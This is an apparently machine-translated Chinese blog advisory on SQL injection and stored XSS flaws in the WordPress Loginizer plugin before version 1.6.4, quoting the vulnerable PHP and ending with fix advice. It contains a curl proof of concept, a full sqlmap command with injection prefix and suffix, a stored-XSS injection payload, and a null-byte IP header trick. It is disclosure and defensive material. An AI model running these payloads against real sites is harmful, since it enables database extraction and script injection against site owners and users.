wordpress插件Loginizer小于1.6.4版本存在SQL注入漏洞

wordpress插件Loginizer小于1.6.4版本存在SQL注入漏洞

在这里,我们讨论用于WP的Loginizer安全插件,该插件可保护网站免受暴力攻击(非常需要的功能),并以“双因素验证”,“ reCAPTCHA”,“ PasswordLess Login”的形式提供额外的亮点……最近,我在插件代码中进行了一些检查几乎没有发现安全问题,例如通向SQLi的两条路径和一条XSS。除了过去曾经对插件代码进行过审核(在下文中有更多有关此事实)的事实外,代码中的问题仍然非常严重。

Eli5 PoC

插件计算失败的登录尝试次数wp_login_failedwp_authenticate例如在XMLRPC和Web界面中执行身份验证的官方wp方法中,调用失败。在wp_signon中,我们没有削减用户名/密码对(对于XMLRPC则不是这样),并且像这样发送给wp_authenticate。在这里,我们有一个简单的方法sanitize_user,当使用$strict = false默认参数值调用该方法时,它是没有用的。因此,未受保护的$username功能会朝着挂钩的任何功能发展wp_login_failed。在Loginizer中:

add_action('wp_login_failed', 'loginizer_login_failed');

通过函数定义,我们可以看到raw如何$username达到插件功能:

function loginizer_login_failed($username, $is_2fa = ''){ 
global $wpdb, $loginizer, $lz_cannot_login;
...

此外,在此函数中,还会使用未清除的DB参数调用DB:

... 
$result = lz_selectquery("SELECT * FROM `".$wpdb->prefix."loginizer_logs` WHERE `ip` = '".$loginizer['current_ip']."';");
...
$sresult = $wpdb->query("UPDATE `".$wpdb->prefix."loginizer_logs` SET `username` = '".$username."', `time` = '".time()."', `count` = `count`+1, `lockout` = '".$lockout."', `url` = '".$url."' WHERE `ip` = '".$loginizer['current_ip']."';");
...
$insert = $wpdb->query("INSERT INTO `".$wpdb->prefix."loginizer_logs` SET `username` = '".$username."', `time` = '".time()."', `count` = '1', `ip` = '".$loginizer['current_ip']."', `lockout` = '0', `url` = '".$url."';");
...

并且我们根据用户登录数据看到了SQLi容易受到攻击的地方。如果您监视error_logs,则最简单的PoC为:

curl 'http://local.target/wp-login.php' --data-raw 'log=test%27loginizer&pwd=fdsfsdfs&wp-submit=Log+In&redirect_to=&testcookie=1'

并且在error_log中,您将看到

[Mon Oct 19 13:20:27.425151 2020] [php7:notice] [pid 129822] [client 127.0.0.1:37896] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'loginizer', `time` = '1603106427', `count` = '1', `ip` = '127.0.0.1', `lo' at line 1 for query INSERT INTO `wp_loginizer_logs` SET `username` = 'test'loginizer', `time` = '1603106427', ...

这意味着我们不会在insert语句中插入SQLi ,因为在这种情况下会出错,但是在真正的攻击ip值的情况下,可以很容易地改写并且将无用的数据填充到记录器表中。更加隐蔽的方法是将sqli用作update声明。

python3 sqlmap.py -u http://local.target/wp-login.php --method='POST' --data='log=&pwd=password&wp-submit=Log+In&redirect_to=&testcookie=1' -p log --prefix="', ip = LEFT(UUID(), 8), url = ( TRUE " --suffix=") -- wpdeeply" --dbms mysql --technique=T --time-sec=1 --current-db --current-user

作为此SQLi的补充,在代码中,以下用于在管理区域中打印输出:

// Get the logs
    $result = lz_selectquery("SELECT * FROM `".$wpdb->prefix."loginizer_logs` 
                            ORDER BY `time` DESC 
                            LIMIT ".$lz_env['cur_page'].", ".$lz_env['res_len']."", 1);
...
foreach($result as $ik => $iv){
                    $status_button = (!empty($iv['status']) ? 'disable' : 'enable');
                    echo '
                    <tr>
                        <td>
                            <input type="checkbox" value="'.$iv['ip'].'" name="lz_reset_ips[]" />
                        </td>
                        <td>
                            '.$iv['ip'].'
                        </td>
                        <td>
                            '.$iv['username'].'
                        </td>

因此,除了sanitize_user函数剥离标签的事实之外,当我们进入SQL机制时,我们也可以选择存储XSS攻击:

test',ip=concat(char(60),'b',char(62),'wpdeeply',char(60),char(47),'b',char(62),'-',LEFT(UUID(),8)) -- wpdeeply

就是这样,通过轻松,详细地了解SQLi + XSS $username

不仅是用户名

这个有趣得多,但是对较少的设置有效,但是确实是个好问题the ip地址的验证以下列方式发生:

function lz_valid_ip($ip){
    
    // IPv6
    if(lz_valid_ipv6($ip)){
        return true;
    }
    
    // IPv4
    if(!ip2long($ip)){
        return false;
    }
    
    return true;
}

并且ip2long不是二进制安全的,因此,如果IP HTTP标头到达其中包含空字节的后端,则我们在谈论SQLi,同时也在谈论标准的存储XSS漏洞。

if ( ip2long("127.0.0.1\x00'<script>") ) echo 'Valid IPv4';

哪些影响的设置以及如何更改,将不会在本文中公开?

一些事实

  • 此插件多次成为未完成审核的“目标”,并此处此处产生了一些结果
  • 当您执行静态代码分析时,很奇怪sanitize_user会允许'",但是无论如何都需要使用调试器
  • 当您执行扫描并且您位于本地目标上时,明智的方法是检查应用程序的错误日志并尝试所有参数
  • 看到wp org如何使用此插件https://wordpress.org/plugins/loginizer/advanced/将该安全更新推向WP实例,这很有趣,也很高兴,但是您是否仍然允许未知人员管理您的资产来自wp org?
  • 我们都知道WPerror protection是核心。您认为登录表单上没有任何由bot为SQLi尝试过的WP / Loginizer设置?是DB错误值得在安装中标记为问题,还是因为其他原因?

如何修复

  • 更新Loginizer插件并继续使用,它是一款很好且有用的软件。
  • 使用准备好的数据库语句。
  • 关闭生产环境中的自动更新,并从阶段开始进行活动安装。它既涉及隐私,也涉及安全性。

from

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注